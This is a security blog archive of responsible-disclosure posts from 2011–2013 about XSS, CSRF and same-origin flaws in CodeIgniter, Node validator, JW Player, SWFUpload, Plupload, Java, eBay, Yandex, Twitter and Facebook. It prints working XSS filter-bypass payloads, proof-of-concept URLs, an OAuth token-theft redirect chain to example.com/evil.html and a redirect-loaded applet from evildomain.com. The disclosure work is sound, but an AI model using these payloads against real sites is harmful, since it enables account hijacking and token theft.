Tag: xss
2013
07.23

Summary

The CodeIgniter framework contains a function, xss_clean(), which is intended to filter out potential XSS attacks. From the CodeIgniter documentation:

The XSS filter looks for commonly used techniques to trigger Javascript or other types of code that attempt to hijack cookies or do other malicious things. If anything disallowed is encountered it is rendered safe by converting the data to character entities.

I identified a form of malicious input that would bypass the xss_clean() filtering, allowing for arbitrary JavaScript to be executed. The vulnerability has been patched in CodeIgniter 2.1.4. Any developers relying on xss_clean() as a form of protection should upgrade their application to the latest version of the framework.

This vulnerability has been designated CVE-2013-4891.

Vulnerability Details

The vulnerability is straightforward to understand. The xss_clean() function would only strip attributes from HTML tags that were properly closed. However, browsers which see unclosed tags can choose to parse them as though they were properly formed.

In this case, my proof of concept was:

1
<img src="a" onerror='eval(atob("cHJvbXB0KDEpOw=="))'

The lack of a > at the end meant that the onerror attribute wasn’t stripped by xss_clean(). However, browsers would parse this input as a valid img tag with src and onerror attributes. By using eval and atob, I was able to get arbitrary JavaScript to execute without having to worry about any additional filtering.

Disclosure Timeline

  • March 7th, 2013, 10:24 AM: Initial report to developers via email. Sent proof of concept.
  • March 7th, 2013, 10:27 AM: Reply from developer, investigating report
  • March 18th, 2013, 11:43 AM: Reply from developer, unable to reproduce vulnerability on latest development branch (3.0.x).
  • March 18th, 2013, 12:16 PM: Sent followup to developer, promising to reconfirm proof of concept.
  • March 18th, 2013, 12:50 PM: Email sent to developer confirming that the vulnerability exists in the latest stable release (2.1.3) but not in the development branch.
  • March 18th, 2013, 1:58 PM: Developer replies, looking in to merging fix from development branch into stable.
  • April 13th, 2013: Email to developer asking for status update
  • April 17th, 2013, 11:51 PM: Reply from developer, continuing to work on fix.
  • April 17th, 2013, 11:52 PM: Acknowledged reply from developer.
  • June 26th, 2013: Email to developer, informing them of plans to publish vulnerability details via blog on July 9th.
  • July 5th, 2013, 3:59 PM: Reply from developer. Patch has been applied to stable branch. Requesting confirmation of fix.
  • July 5th, 2013, 5:31 PM: Sent email confirming fix. Request ETA on release of new stable version.
  • July 8th, 2013, 10:13 AM: Reply from developer, planning to release new version within 24 hours.
  • July 8th, 2013, 5:38 PM: Email from developer. CodeIgniter 2.1.4 released publicly.
  • July 8th, 2013, 6:06 PM: Sent email acknowledging public release. Updated plans to publish blog post so that developers would have time to update.
  • July 23rd, 2013: Blog post published.

Note

The xss_clean() function employs multiple blacklists and as such is not a safe solution for preventing XSS. Researchers have discovered bypasses for the filtering in the past [1], [2], [3] and there is no guarantee that more bypasses won’t be discovered in the future.

2013
07.04

Summary

The validator module for Node.js contains functionality meant to filter potential XSS attacks (a filter called xss). In looking at the implementation I discovered several bypasses for this filtering including prior work by other researchers. Although the bypasses I reported have been patched, since my discovery at least one new bypass has been disclosed and remains unpatched.

In general, because the function’s filtering is blacklist-based it is likely that other bypasses will be discovered in the future. Accordingly I would urge Node.js developers not to use the xss filtering function of this package.

What were the bypasses?

All of these were tested in the latest version of Firefox:

Improper parsing of nested tags:

1
<s <onmouseover="alert(1)"> <s onmouseover="alert(1)">This is a test</s>

Incomplete filtering of javascript: URIs:

1
<a href="javascriptJ a V a S c R iPt::alert(1)" "<s>">test</a>

Improper handling of arrays passed in (this affects JavaScript because the toString method will automatically join the elements of the array together):

1
["<s ", " onmouseover='alert(1)'>", "foobar</s>"]

UI Redressing:

1
2
3
4
<div style="z-index: 9999999; background-color: green; width: 100%; height: 100%">
<h1>You have won</h1>Please click the link and enter your login details:
<a href="http://example.com/">http://good.com</a>
</div>

Nesting of forbidden strings:

1
<scrRedirecRedirect 302t 302ipt type="text/javascript">prompt(1);</scrRedirecRedirect 302t 302ipt>

I also noticed the following comment at the top of the file:

1
2
//This module is adapted from the CodeIgniter framework
//The license is available at http://codeigniter.com/

Searching around online, I came across CodeIgniter <= 2.1.1 xss_clean() Cross Site Scripting filter bypass, written by @kkotowicz, which provided me with more working bypasses.

Workaround

If you are a developer currently using the xss filter function from the validator package, you should consider replacing it with the escape filter function from the same package. This function replaces all instances of angle brackets (<, >), ampersands, and quotation marks, so no HTML tags will be processed.

Note that XSS prevention is not as simple as just escaping those characters. For more information, check out the OWASP XSS Prevention Cheat Sheet.

Disclosure Timeline

  • March 6th, 2013: Initial report to module maintainer via email. Sent proofs of concept, etc.
  • March 10th, 2013: Developer replies, creates public issue on GitHub to track the fix. Promises to resolve the issue “ASAP.”
  • April 17th, 2013, 10:56 PM: Sent pull request which resolves issues.
  • April 17th, 2013, 11:27 PM: Pull request merged by maintainer.
  • April 18th, 2013, 8:31 AM: New version (1.1.0) released containing patch.
  • May 6th, 2013: Additional bypass disclosed publicly by taku0.
2013
04.16

Summary

I reported 3 vulnerabilities to the Yandex bug bounty program shortly after it launched in September. It has taken almost 6 months to resolve the issues completely, thanks to some mis-communication and a lack of followup on my part. Overall my experience was not too negative, but I would not recommend the program to other researchers.

Vulnerability #1: Reflected XSS in pass.yandex.ru

This was a fairly straightforward reflected XSS vulnerability. Browsing to https://pass.yandex.ru/login?retpath=http://yandex.ru/%3C/script%3E%3Cscript%3Ealert%281%29%3C/script%3E in Firefox would lead to a JavaScript alert box being displayed in the browser.

According to the Yandex security team my report was a duplicate: this makes sense given the simplicity of the vulnerability. This vulnerability has been patched.

Vulnerability #2: CSRF in passport.yandex.com

Again, a fairly straightforward vulnerability. The form for updating personal information (first/last name, city, etc) was not protected against a CSRF attack.

When I initially reported this vulnerability to Yandex I never received a reply. I failed to follow up until 3 months later; at that point, I was told that only my reflected XSS report was showing up in their system. I used their feedback form to submit all three reports separately; in retrospect I should have sent it via email.

Regardless, when I followed up I noted that the CSRF issue had been fixed but that the solution was vulnerable to clickjacking. That report was declared a duplicate (again, makes sense given the simplicity of the vulnerability and the amount of time that had passed) and I was told of plans to add an X-Frame-Options header to protect against clickjacking. So far the header has not been added and the vulnerability still exists.

Vulnerability #3: Email header splitting via mail.yandex.com

This vulnerability was the most complicated of the three that I submitted. When sending an email on mail.yandex.com, a POST request is made to https://mail.yandex.com/neo2/handlers/do-send-json.jsx. The from_name parameter sent as part of that request did not escape newline characters, which allowed an attacker to forge the From: header in an email and include arbitrary additional headers in the email.

I again failed to follow up until 3 months after my initial report. At that point I was told:

We cannot verify the security issue you have reported because it is unexploitable.
Every person can do it (add various headers) with tool like Telnet by connecting SMTP server.
If you can describe how it can be exploitable by malicious man don’t hesitate to contact us.

I pointed out that most other web-based email clients (eg: Gmail, etc) do not allow you to specify an arbitrary From: header. Subsequently I received a followup email telling me that I was eligible for a reward of $160.

Disclosure Timeline

  • September 23rd, 2012: Reports sent to Yandex via submission form.
  • September 25th, 2012: Reply from Yandex indicating that the reflected XSS report was a duplicate.
  • January 16th, 2013, 12:26 AM: Retested previously reported vulnerabilities. Sent followup email to Yandex security team, asking for updates on previous reports / providing feedback based on retest).
  • January 16th, 2013, 6:00 AM: Received reply from Yandex indicating that only one of my initial three reports was received. Responded to the other two “new” reports (details outlined previously above).
  • January 16th, 2013, 10:03 AM: Replied with feedback regarding email header splitting vulnerability.
  • January 16th, 2013, 11:04 AM: Reply from Yandex acknowledging that email header splitting vulnerability was eligible for a reward.
  • February 16th, 2013: Sent followup to Yandex, asking for update on reward and on patches for vulnerabilities.
  • March 1st, 2013: Sent email to Yandex informing them of plans to publish this post on April 16th, 90 days after the followup on January 16th.
  • March 8th, 2013: Reply from Yandex acknowledging the reward and asking me to inform them again once the post is published.
  • March 12th, 2013: Reply from Yandex, bounty money has been transferred to my account.
  • April 16th, 2013: Published this blog post.
2013
04.16

Summary

I found a reflected XSS vulnerability in JW Player 5. The developers at LongTail Video have released JW Player 6, which is not vulnerable to this issue. They do not plan to update JW Player 5 to mitigate this vulnerability; I would encourage people to discontinue using JW Player 5 or manually patch/build their own version as a result.

How does it work?

I was aware of a previous vulnerability in JW Player 5 which the developers had attempted to patch. The original issue is documented in the LongTail Video Trac as Ticket 1626; the problem was that the playerReady parameter to the SWF accepted an arbitrary string and used it as a callback function to ExternalInterface.call. That behavior is roughly equivalent to calling eval on the value of the playerReady parameter and allowed for XSS and other badness. There are two relevant diffs, which made changes as follows:

  • 2164: Instead of an arbitrary callback string, the callback string may only contain alpha-numeric characters and periods.
  • 2165: Instead of a callback string containing only alpha-numeric characters and periods, the callback string can have any characters except for curly braces and parentheses.

So, the challenge for exploitation was to find a way to execute JavaScript without parentheses or braces. Turns out this was really easy[1], [2]: I used the following code (the comment was needed because of the context in which the code was being executed):

1
document.location=window.name+'//'+

I could then embed arbitrary JavaScript into window.name by convincing users to click on links with ‘target’ attributes I specified.

Proof of Concept

A proof of concept is available at sandboxing.me. The JavaScript executes in the context of the player’s domain, not in the context of sandboxing.me.

How can it be patched

  1. Discontinue use of JW Player 5. Upgrade to JW Player 6 or use another player.
  2. If you would like to build your own SWF, you can apply the changes to src/com/longtailvideo/jwplayer/player/JavascriptAPI.as from revision 2267. This disables the use of dynamic callbacks for playerReady altogether. If you rely on a custom playerReady callback, you will need to modify your JavaScript; you will need to declare a function on your page called playerReady which in turn calls your custom function.

Disclosure Timeline

  • December 28th, 2012, 11:10 AM: Contacted LongTail Video via their support form with details of the vulnerability.
  • December 28th, 2012, 11:39 AM: Received reply asking me to upgrade to JW Player 6.
  • December 28th, 2012, 5:52 PM: Sent reply asking for clarification about the end-of-life status of JW Player 5 and whether a patch would be released.
  • December 29th, 2012: Received response from developer: “There may be a 5.11 version out to address some of these issues, but since they are already fixed in V6, 5.10 might be the last version of the V5 player.”
  • April 16th, 2013: Published this blog post
2013
03.14

Summary

In mid-2012 I discovered and reported a combination of CSRF and persistent XSS on my.ebay.com. This report was quickly acknowledged by eBay but the vulnerabilities have not been fixed almost a year after the initial disclosure. To mitigate the potential risk, I would recommend that users log out of their eBay accounts when browsing other websites.

Details

The my.ebay.com website has a section in the left sidebar called “Shortcuts.” These shortcuts, by default, are pre-defined links to sections of eBay. It is possible for a user to edit the list of shortcuts and to add their own, pointing to arbitrary URLs.

I reported two distinct but related vulnerabilities to eBay:

  1. It is possible to create a shortcut that will execute JavaScript when clicked on by writing a somewhat convoluted JavaScript URL: the example I used was javascript://%0D%0Aalert(document.domain);. A URL in this format allows me to evade eBay’s filters but still have JavaScript execute in the latest versions of Firefox, Chrome, and IE. A slightly more detailed explanation of how this URL works can be found at http://sla.ckers.org/forum/read.php?2,13209,page=1#msg-13248.
  2. The endpoints that eBay uses to add a shortcut and to remove existing shortcuts are vulnerable to a CSRF attack.

Taken together, these vulnerabilities allow me to create a shortcut on a logged-in eBay user’s account that, when clicked, executes JavaScript.

Because the vulnerabilities remain unpatched I will not be publishing the proof of concept code that I sent to eBay.

Disclosure Timeline

  • May 11th, 2012, 11:56 AM: Submitted details of vulnerability via “Security Researchers” form.
  • May 11th, 2012, 3:12 PM: Reply from eBay. Report acknowledged, details forwarded to engineering team.
  • May 23rd, 2012: Sent followup asking for any updates.
  • May 24th, 2012, 5:09 PM: Asked to provide more details (screenshot, more explicit steps to reproduce) to assist in reproducing the issue.
  • May 24th, 2012, 5:23 PM: Sent reply containing screenshot and more explicit steps to reproduce the issue.
  • June 9th, 2012: Sent followup asking for any updates.
  • June 11th, 2012: According to eBay’s responsible disclosure guidelines, this issue may be discussed publicly (“Allow us a reasonable amount of time (at least 30 days from when we receive your disclosure under this process to respond to the issue before disclosing it to others”).
  • June 12th, 2012: Reply received from eBay: “Not yet. We’ll let you know when this is resolved.”
  • February 8th, 2013: Sent followup asking for any updates. Advised eBay of plans to publish details of the vulnerability within a week.
  • February 11th, 2013, 4:19 PM: Received reply from eBay. Asked to adhere to their responsible disclosure guidelines and not to disclose the details of the issue until it has been fixed. Offered “to send [me] some eBay branded gifts and acknowledge [me] on [their] Security Researcher’s Acknowledgment page once this vulnerability is fixed”.
  • February 11th, 2013, 4:31 PM: Reply sent. Pointed out that responsible disclosure guidelines do not preclude me from talking about an issue that was reported 8+ months prior. Agreed to hold off discussing the issue until March 14th.
  • February 11th, 2013, 5:12 PM: Received acknowledgement of reply.
  • February 15th, 2013: Received “eBay branded gifts” in mail.
  • March 14th, 2013, 4:50 PM: Confirmed vulnerabilities remain unpatched. Published blog post. Contacted eBay to inform them about the post.
  • March 14th, 2013, 10:19 PM: Reply from eBay indicating vulnerability is patched. Confirmed that some vulnerable functionality (ability to define shortcuts with arbitrary URLs) has been removed.

Note: I have replaced a link in the Disclosure Timeline with a link to the Internet Archive’s version of the same page. eBay decided to silently change its responsible disclosure guidelines between February 11th and March 14th.

The original text of their “guidelines for responsible disclosure”:

  • Share the security issue with us before making it public on message boards, mailing lists, and other forums.
  • Allow us a reasonable amount of time (at least 30 days from when we receive your disclosure under this process to respond to the issue before disclosing it to others.
  • Provide full details of the security issue, including Proof-of-Concept URL and the details of the system where the tests were conducted.

The new text:

  • Share the security issue with us before making it public on message boards, mailing lists, and other forums.
  • We request that you wait until notified that the vulnerability has been resolved before disclosing it to others. We take the security of our customers very seriously, however some vulnerabilities take longer than others to resolve. There are several teams involved in working on these vulnerabilities depending on which site has the vulnerability and what function is being exploited.
  • Provide full details of the security issue, including Proof-of-Concept URL and the details of the system where the tests were conducted.

Because I disclosed this issue to eBay prior to the changes to the policy, I will be leaving this post public.

Note 2: I received the following email from eBay:

Hi Neal,

We thank you for your work and your dedication to keeping the eBay community secure. We prefer that security-related information is always kept confidential. The technical teams verified the fix is working in production. Please verify.

eBay Security Research

The functionality for creating a new shortcut to an arbitrary URL appears to have been entirely removed from the site. That means there is no way to introduce a persistent XSS payload to the site. The rest of the vulnerability (the CSRF which controls which shortcuts are displayed) still functions, but is no more than a minor annoyance.

The disclosure timeline has been updated to reflect these developments.

2012
05.17

Summary

Nathan Partlan and I discovered and reported vulnerabilities in two common Flash applets, SWFUpload and Plupload. SWFUpload’s developers have not released a fix for the XSS issue identified. Plupload’s developers have released v1.5.4 to address the identified CSRF issue.

Both of these applets are present in Wordpress installations. These vulnerabilities were addressed as part of Wordpress 3.3.2.

Vulnerability #1: XSS in SWFUpload (CVE-2012-3414)

The latest version of SWFUpload (ActionScript code available here) contains the following code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// Get the movie name
this.movieName = root.loaderInfo.parameters.movieName;

// **Configure the callbacks**
// The JavaScript tracks all the instances of SWFUpload on a page.  We can access the instance
// associated with this SWF file using the movieName.  Each callback is accessible by making
// a call directly to it on our instance.  There is no error handling for undefined callback functions.
// A developer would have to deliberately remove the default functions,set the variable to null, or remove
// it from the init function.
this.flashReady_Callback         = "SWFUpload.instances[\"" + this.movieName + "\"].flashReady";
this.fileDialogStart_Callback    = "SWFUpload.instances[\"" + this.movieName + "\"].fileDialogStart";
this.fileQueued_Callback         = "SWFUpload.instances[\"" + this.movieName + "\"].fileQueued";
this.fileQueueError_Callback     = "SWFUpload.instances[\"" + this.movieName + "\"].fileQueueError";
this.fileDialogComplete_Callback = "SWFUpload.instances[\"" + this.movieName + "\"].fileDialogComplete";

this.uploadStart_Callback        = "SWFUpload.instances[\"" + this.movieName + "\"].uploadStart";
this.uploadProgress_Callback     = "SWFUpload.instances[\"" + this.movieName + "\"].uploadProgress";
this.uploadError_Callback        = "SWFUpload.instances[\"" + this.movieName + "\"].uploadError";
this.uploadSuccess_Callback      = "SWFUpload.instances[\"" + this.movieName + "\"].uploadSuccess";

this.uploadComplete_Callback     = "SWFUpload.instances[\"" + this.movieName + "\"].uploadComplete";

this.debug_Callback              = "SWFUpload.instances[\"" + this.movieName + "\"].debug";

this.testExternalInterface_Callback = "SWFUpload.instances[\"" + this.movieName + "\"].testExternalInterface";
this.cleanUp_Callback            = "SWFUpload.instances[\"" + this.movieName + "\"].cleanUp";
this.buttonAction_Callback       = "SWFUpload.instances[\"" + this.movieName + "\"].buttonAction";

Each of those callbacks is used as the first parameter to ExternalInterface.call, which executes JavaScript in the context of the current page. Since movieName is derived from user input (a Flash parameter) and a Flash applet can be loaded directly (with parameters in the URL), the Flash applet allows for reflected cross-site scripting. For sites where the applet is hosted on the same domain as the main website, this is a serious security concern.

At this point, I’m not aware of a patched version of the applet source (let me know in the comments if there is one!). My suggestion would be to filter the movieName parameter so that only alpha-numeric characters are allowed.

Proof of Concept: http://demo.swfupload.org/v220/swfupload/swfupload.swf?movieName=%22%5d%29;}catch%28e%29{}if%28!self.a%29self.a=!alert%281%29;//

Vulnerability #2: CSRF in Plupload (CVE-2012-3415)

The Plupload applet called Security.allowDomain('*') to allow the applet to be used from any domain (so it could be served from S3, for instance). That meant people could interact with the Plupload applet from any other site on the Internet by embedding it on a page and using JavaScript. But due to the way the same-origin policy works in Flash, the applet could still make requests back to the domain on which it was hosted. In addition, people can specify the full URL for an upload request via JavaScript and the result of that request (ie: the HTML of the resulting page) is passed back via JavaScript to the embedding page.

So, if an attacker could convince a target to interact with the applet (by selecting a single file to be uploaded), the attacker could make a request to the domain that the applet was hosted on and read back the full response. That could disclose CSRF tokens or other sensitive information. This issue was especially important for Wordpress installations, where Plupload applets are hosted inside of the wp-includes directory by default.

The issue was resolved by removing the call to Security.allowDomain('*') by default.

Conclusion

Third-party Flash applets are vulnerable to many of the same sorts of attacks as other parts of web applications. However, they are often included in sites without a proper understanding of the security risks.

Update (08/01/2012): I’ve updated the post to include the CVE identifiers assigned to these vulnerabilities.

2012
04.13

Summary

I recently reported two separate and distinct security vulnerabilities to Twitter: one involving the Twitter API and one involving Twitter’s translation site, http://translate.twttr.com. As a result of one (or both) of these reports, I was added to Twitter’s White Hat page.

Issue #1: CSRF / Logic Error in OAuth Token Revocation

  1. I noticed that the endpoint for revoking an OAuth app’s authorization (https://twitter.com/oauth/revoke?token=token=SOME-VALUE) could be accessed successfully via a GET and without any sort of CSRF token. Note that the same endpoint is used for revoking and for “undoing” a revocation: the action taken depends on the state of the token.

    That meant an attacker could trick a user into revoking and/or reauthorizing an application that the user had previously accepted. However, the attacker would have to discover the token value: it wasn’t clear to me if that value was disclosed to a client application or not.

  2. I noticed that once an authorization had been revoked, the revocation could be undone for a fairly long period of time (at least a day). That behavior was not obvious from the Twitter UI.

Taken together, those vulnerabilities allowed a malicious application (which knew the token value) to prevent itself from being deauthorized; if it detected that a user had revoked its access, it could have used the CSRF attack to reauthorize itself. The CSRF vulnerability now appears to have been patched.

Issue #2: Reflected XSS on http://translate.twttr.com

(Note: I didn’t take notes on this vulnerability, so my recollection is slightly hazy)

The forum on the translation site (http://translate.twttr.com/cms/forum/) allows users to post a limited subset of HTML. It used a widget (I believe it was a version of TinyMCE) to allow for easy formatting of posts. Unfortunately, this widget would render some HTML tags containing malicious content (ie: <iframe> tags with an src of javascript:alert(1)). The widget appears to have been removed.

2011
10.18

Summary

Java 1.7 and Java 1.6 Update 27 and below do not properly enforce the same-origin policy for applets which are loaded via URLs that redirect. A malicious user can take advantage of this flaw to attack websites which redirect to third party content. This issue was patched in both Java 7 and Java 6 as part of the October 2011 Critical Patch Update. This issue has been assigned CVE-2011-3546.

What is the same-origin policy

From Wikipedia:

In computing, the same origin policy is an important security concept for a number of browser-side programming languages, such as JavaScript. The policy permits scripts running on pages originating from the same site to access each other’s methods and properties with no specific restrictions, but prevents access to most methods and properties across pages on different sites.

The origin for a Java applet is the hostname of the website where the applet is served from. So, for example, if I upload an applet to http://example.com/applet.jar, that applet’s origin is example.com. We care about the origin for security reasons: the same-origin policy ensures that an applet is only allowed to make HTTP requests back to the domain from which it originates (or to another domain which resolves to the same IP address, but we can ignore that behavior here).

So, where’s the security vulnerability?

Under certain conditions, the JRE did not correctly determine the origin of an applet. Specifically, when loading an applet via a URL that performed an HTTP redirect, the Java plugin used the original source of the redirect, not the final destination, as the applet’s origin.

If you’re confused, an example might help to illustrate things. Lets first start by imagining a website, example.com, that contains an open redirect. In other words, imagine that browsing to http://example.com/redirect.php?url=http://www.google.com redirects the user to http://www.google.com using a 301 or 302 redirect. Now, lets consider an attacker who controls the domain evildomain.com. This is what the attacker does:

  1. Writes a malicious Java applet that accesses http://example.com
  2. Uploads that applet to http://evildomain.com/evil.jar
  3. Constructs a redirect from http://example.com to the malicious applet (http://example.com/redirect.php?url=http://evildomain.com/evil.jar)
  4. Creates a malicious page anywhere on the Internet containing the following HTML:

    1
    2
    3
    4
    5
    <applet
    code="CSRFApplet.class"
    archive="http://example.com/redirect.php?url=http://evildomain.com/evil.jar"  
    width="300"
    height="300"></applet>
    

So what happens when a user visits that page? Well, lets first think about what we would want to happen:

  1. The user loads the page
  2. The user’s browser fetches the Java applet.
  3. The Java applet executes.
  4. The Java applets tries to access http://example.com but fails because the applet was served up by http://evildomain.com, violating the same-origin policy.

Now, here’s what actually happened:

  1. The user loads the page
  2. The user’s browser fetches the Java applet.
  3. The Java applet executes.
  4. The Java applets tries to access http://example.com AND SUCCEEDS !!!

That behavior is dangerous for websites that redirect to third party content: since HTTP requests made via Java applets inherit a user’s cookies from the browser (minus those marked as HttpOnly), an attacker who exploits this vulnerability is able to steal sensitive information or perform a CSRF attack against a targeted website. Any users who have not upgraded to the latest version of Java are vulnerable to attack.

How to protect your website

Java applets are client-side technology, but this vulnerability has a very real impact on website owners. Aside from waiting for your users to upgrade to the latest version of Java, here are some steps you can take to protect your site:

1. Block requests containing Java’s user-agent from accessing your redirects

This solution is fairly simple. By denying requests made by Java applets to redirect scripts on your site, you can prevent a malicious applet from being loaded. The UAs you’ll want to block contain the string “Java/” (without the quotation marks).
[Note: Blocking that string may be overly broad: I haven’t researched whether other software claims to be Java. I’ll update this post if I’m made aware of any conflicts.]

2. Use HttpOnly cookies

Java is not able to read or make requests with cookies that are marked HttpOnly. As a result, this attack can not be used to access or make requests to the authenticated portion of any site that uses HttpOnly cookies.

3. Don’t redirect to third party content

Open redirects are considered to be problematic for a number of reasons (including their use in phishing attacks). If at all possible, you should avoid them entirely, or heavily restrict the locations that they can redirect to.

Disclosure Timeline

  • December 28th, 2010: Vulnerability discovered
  • January 10th, 2011: Built two proofs of concept involving major websites (will not be disclosed publicly)
  • January 11th, 2011: Email sent to vendor. Disclosed full details of vulnerability, including proofs of concept
  • January 12th, 2011: Vendor acknowledges receipt of email
  • January 25th, 2011: Followup email sent to vendor, inquiring about status
  • January 26th, 2011: Vendor replies: issue is still being investigated
  • February 15th, 2011: [A Java SE Critical Patch Update is released][]
  • March 15th, 2011: Followup email sent to vendor, inquiring about status
  • March 18th, 2011: Vendor replies: issue is still being investigated
  • March 24th, 2011, 5:44 AM: Vendor sends automated status report email that fails to mention this vulnerability
  • March 24th, 2011, 8:04 AM: Followup email sent to vendor, inquiring about status
  • March 24th, 2011, 4:44 PM: Vendor acknowledges vulnerability, plans to address in a future update
  • April 25th, 2011: Vendor sends automated status report email that fails to mention this vulnerability
  • May 23rd, 2011, 9:44 AM: Followup email sent to vendor inquiring about the status of a fix
  • May 23rd, 2011, 2:24 PM: Vendor replies: plans to address vulnerability in October 2011 Java Critical Patch Update
  • May 24th, 2011: Vendor sends automated status report email that fails to mention this vulnerability
  • June 7th, 2011: A Java SE Critical Patch Update is released
  • June 23rd, 2011: Vendor sends automated status report email that fails to mention this vulnerability
  • July 22nd, 2011, 5:24 AM: Vendor sends automated status report email that fails to mention this vulnerability
  • July 22nd, 2011, 8:04 AM: Followup email sent to vendor, inquiring about status
  • July 22nd, 2011, 1:33 PM: Vendor replies, apologizes for not including vulnerability in status report. Reiterates that a fix for the vulnerability is targeted for the October 2011 Java Critical Patch Update
  • July 28th, 2011: Java 7 is released. Testing reveals the vulnerability has not been patched. Email with vendor confirms.
  • August 23rd, 2011: Vendor sends automated status report email. Vulnerability is now included and is marked “Issue fixed in main codeline, scheduled for a future CPU
  • September 23rd, 2011: Vendor sends automated status report email. Vulnerability is marked “Issue fixed in main codeline, scheduled for a future CPU
  • October 14th, 2011: Vendor sends out email confirming that vulnerability will be patched in CPU to be released on October 18th.
  • October 18th, 2011: Java 6 Update 29 and Java 7 Update 1 are released, patching the vulnerability.

Anything else?

It appears Firefox was vulnerable to a similar attack back in 2007:

The blogger at beford.org noted that redirects confused Mozilla browsers about the true source of the jar: content: the content was wrongly considered to originate with the redirecting site rather than the actual source. This meant that an XSS attack could be mounted against any site with an open redirect even if it didn’t allow uploads. A published proof-of-concept demonstrates stealing the GMail contact list of users logged-in to GMail.

It also appears that people have been aware of similar attacks against Java for a while now. I stumbled across a post on http://sla.ckers.org/ that mentioned using redirects to JARs as a way to steal cookies. I believe the “fix” referred to in the post (which only covers cookie stealing) was made in response to this vulnerability from 2010.

If you have any questions about the vulnerability, please feel free to leave them in the comments!

2011
08.25

Introduction

In the past few weeks, I’ve reported a number of security vulnerabilities to Facebook as a part of its Security Bug Bounty program. While a few of the issues I reported were standard web application vulnerabilities (ie: a DOM-based XSS, an endpoint on the Developers site that did not enforce CSRF protection), others were a bit less common and exploiting them was more challenging. Those less common vulnerabilities are the focus of this blog post; my goal is to describe the vulnerable code and the constraints that I faced, as well as to explain how I ultimately exploited the vulnerability.

1. Constructing a multi-line JavaScript URI

This example involved a reflected XSS vulnerability on https://www.facebook.com/connect/prompt_feed.php using a query string parameter called callback. The parameter was meant to be a URL which users would be redirected to via JavaScript (setting document.location) after submitting the form or hitting the Skip button on the page. However, the URL wasn’t validated very strictly on the backend: the only restriction I ran into was the need for a dot character, which led me to transform my initial alert(1) payload into window.alert(1).

My first instinct was to try something simple like javascript:window.alert(1). However, I found out the JavaScript on the page was parsing and transforming my callback URL before using it. My input was considered a relative URL, which caused a new URL to be generated that looked like https://www.facebook.com/javascript:window.alert(1). The same thing happened if I tried prefixing my URL with whitespace. I then tried javascript://window.alert(1), which was correctly parsed (albeit with a slash appended). That posed an issue since the double slashes were being treated as a comment in JavaScript (and were preventing me from using other protocols, like data or vbscript).

To work around the comment, I introduced newline characters before my payload. This technique was apparently very effective in 2007 (see http://sla.ckers.org/forum/read.php?2,13209,page=1#msg-13248) but I could only get it to work in Safari 5.1 (I also tested it in IE 6/7/8/9, Firefox 5, and Chrome 13 on Windows). I also stuck // at the end of my payload to remove the trailing slash.

In the end, my exploitable callback parameter looked like this:

1
callback=javascript://anything%0D%0A%0D%0Awindow.alert(1)//

2. Redirects preserve fragment portion of URL

This example had two separate but equally important parts:

  1. I needed a way to generate an OAuth token for a particular application as the currently logged in user. To do that, I made a call to https://www.facebook.com/connect/uiserver.php with the target application’s ID. For the ‘next’ URL parameter, I needed a URL that was considered a valid callback location by the application. Luckily, all applications allowed redirects to Facebook.com. The token information was appended to the URL via the fragment (ie: http://www.facebook.com/#access_token=…).
  2. I then needed a way to redirect the user from Facebook.com to a third-party site. To do so, I set up my own application with my site as the domain. I then used https://www.facebook.com/extern/login_status.php to redirect users to my site via a 302 redirect.

Remember the fragment from step 1, which contained a user OAuth token for an application? Despite the fact that the fragment was never sent to the server, some browsers preserved it in the URL across the redirect (even cross-origin). As a result, I was able to read the fragment via JavaScript, giving me access to an OAuth token that didn’t belong to my application.

My proof of concept URL looked like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
https://www.facebook.com/connect/uiserver.php?
app_id=VICTIM_APP_ID&
method=permissions.request&
display=page&
next=https%3A%2F%2Fwww.facebook.com%2Fextern%2Flogin_status.php%3F
    app_id%3DMY_EVIL_APP_ID%26
    no_session%3Dhttps%3A%2F%2Fexample.com%2Fevil.html%26
    ok_session%3Dhttps%3A%2F%2Fexample.com%2Fevil.html&
response_type=token&
fbconnect=1

I personally verified this behavior (that the fragment was preserved over cross-origin redirects) in Firefox 5 and Chrome 13. I also verified that IE9 does not exhibit the same behavior. According to a Microsoft blog post, this behavior also exists in Opera but not in Safari. For anyone who’s interested in exploring further, Fiddler set up some test cases to demonstrate the behavior. This StackOverflow question also has some good information on the subject.

3. XSS Filters can be used to bypass clickjacking

This example is actually not about an issue that I reported to Facebook. Instead, it’s about an interesting portion of Facebook’s clickjacking prevention that I recently noticed.

Facebook, as some sites have noted, does not use the X-Frame-Options header to prevent clickjacking on most pages. Instead, it relies on a bit of JavaScript which I’ve de-obfuscated and reproduced below:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<script type="text/javascript">
/*<![CDATA[*/


function si_cj(m) {
    setTimeout(function() {
        new Image().src = "http:\/\/error.facebook.com\/common\/scribe_endpoint.php?c=si_clickjacking&t=1273" + "&m=" + m;
    }, 5000);
}
if (top != self) {
    try {
        if (parent != top) {
            throw 1;
        }
        var si_cj_d = ["apps.facebook.com", "\/pages\/", "apps.beta.facebook.com"];
        var href = top.location.href.toLowerCase();
        for (var i = 0; i < si_cj_d.length; i++) {
            if (href.indexOf(si_cj_d[i]) >= 0) {
                throw 1;
            }
        }
        si_cj("3 ");
    } catch (e) {
        si_cj("1 \t");
        window.document.write("\u003cstyle>body * {display:none !important;}\u003c\/style>\u003ca href=\"#\" onclick=\"top.location.href=window.location.href\" style=\"display:block !important;padding:10px\">\u003ci class=\"img sp_264sql sx_c60685\" style=\"display:block !important\">\u003c\/i>Go to Facebook.com\u003c\/a>"); /*_UIBLMIm*/
    }
} /*]]>*/
</script>

The part of the code that I want to highlight is a seemingly simple comment: /*_UIBLMIm*/ (you may have to scroll to see it). This comment is included at the end of the last line of the catch block. It’s actually not a static comment, as it might at first appear: the value inside of it changes on every pageview.

Why does it behave that way? Because of XSS filters.

We can look to “Busting frame busting,” an excellent research paper on clickjacking from 2010, for a more thorough explanation. In Section 3.4, the authors describe the ways in which XSS filters in different browsers can impact JavaScript-based framebusting code. In the case of XSSAuditor, which is used in Chrome and Safari, an attacker can target and disable a particular block of JavaScript (for instance, a block containing clickjacking prevention code). I’ve quoted the relevant information from the paper below:

The XSSAuditor filter deployed in Google Chrome, gives the attacker the ability to selectively cancel a particular script block. By matching the entire contents of a specific inline script, XSSAuditor disables it.

